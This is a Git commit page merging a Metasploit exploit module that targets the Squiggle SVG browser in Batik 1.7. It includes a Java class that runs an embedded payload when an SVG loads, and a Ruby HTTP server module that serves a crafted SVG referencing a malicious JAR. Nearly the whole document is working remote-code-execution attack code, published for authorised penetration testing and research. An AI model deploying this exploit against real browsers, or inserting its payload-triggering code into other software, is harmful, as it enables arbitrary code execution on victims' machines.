Merge branch 'batik_module' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-batik_module

unstable
sinn3r 2012-05-17 10:55:58 -05:00
commit 1b70ba8208
5 changed files with 158 additions and 0 deletions

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Manifest-Version: 1.0
SVG-Handler-Class: Exploit

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import org.w3c.dom.events.Event;
import org.w3c.dom.events.EventListener;
import org.w3c.dom.svg.EventListenerInitializer;
import org.w3c.dom.svg.SVGDocument;
import org.w3c.dom.svg.SVGSVGElement;
import metasploit.Payload;
public class Exploit implements EventListenerInitializer {
public Exploit() {
}
public void initializeEventListeners(SVGDocument document) {
SVGSVGElement root = document.getRootElement();
EventListener listener = new EventListener() {
public void handleEvent(Event event) {
try {
Payload.main(null);
} catch (Exception e) {}
}
};
root.addEventListener("SVGLoad", listener, false);
}
}

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Squiggle SVG Browser Java Code Execution",
'Description' => %q{
This module abuses the SVG support to execute Java Code in the
Squiggle Browser included in the Batik framework 1.7 through a
crafted svg file referencing a jar file.
In order to gain arbitrary code execution, the browser must meet
the following conditions: (1) It must support at least SVG version
1.1 or newer, (2) It must support Java code and (3) The "Enforce
secure scripting" check must be disabled.
The module has been tested against Windows and Linux platforms.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Gregoire', # aka @Agarri_FR, Abuse discovery and PoC
'sinn3r', # Metasploit
'juan vazquez' # Metasploit
],
'References' =>
[
['URL', 'http://www.agarri.fr/blog/']
],
'Payload' =>
{
'Space' => 20480,
'BadChars' => '',
'DisableNops' => true
},
'DefaultOptions' =>
{
'ExitFunction' => "none", #none/process/seh
},
'Platform' => ['win', 'linux', 'java'],
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'Privileged' => false,
'DisclosureDate' => "May 11 2012",
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
jar_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
jar_uri << "/#{rand_text_alpha(rand(6)+3)}.jar"
rand_text = Rex::Text.rand_text_alphanumeric(rand(8)+4)
if request.uri =~ /\.jar$/
paths = [
[ "Exploit.class" ],
[ "Exploit$1.class"],
[ "META-INF", "MANIFEST.MF"]
]
p = regenerate_payload(cli)
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "batik_svg", path ), "rb")
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
print_status("Sending jar payload")
send_response(cli, jar.pack, {'Content-Type'=>'application/java-archive'})
elsif agent =~ /Batik/
svg = %Q|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
<script type="application/java-archive" xlink:href="#{jar_uri}"/>
<text>#{rand_text}</text>
</svg>
|
svg = svg.gsub(/\t\t\t/, '')
print_status("Sending svg")
send_response(cli, svg, {'Content-Type'=>'image/svg+xml'})
else
print_error("I don't know what the client is requesting: #{request.uri}")
end
end
end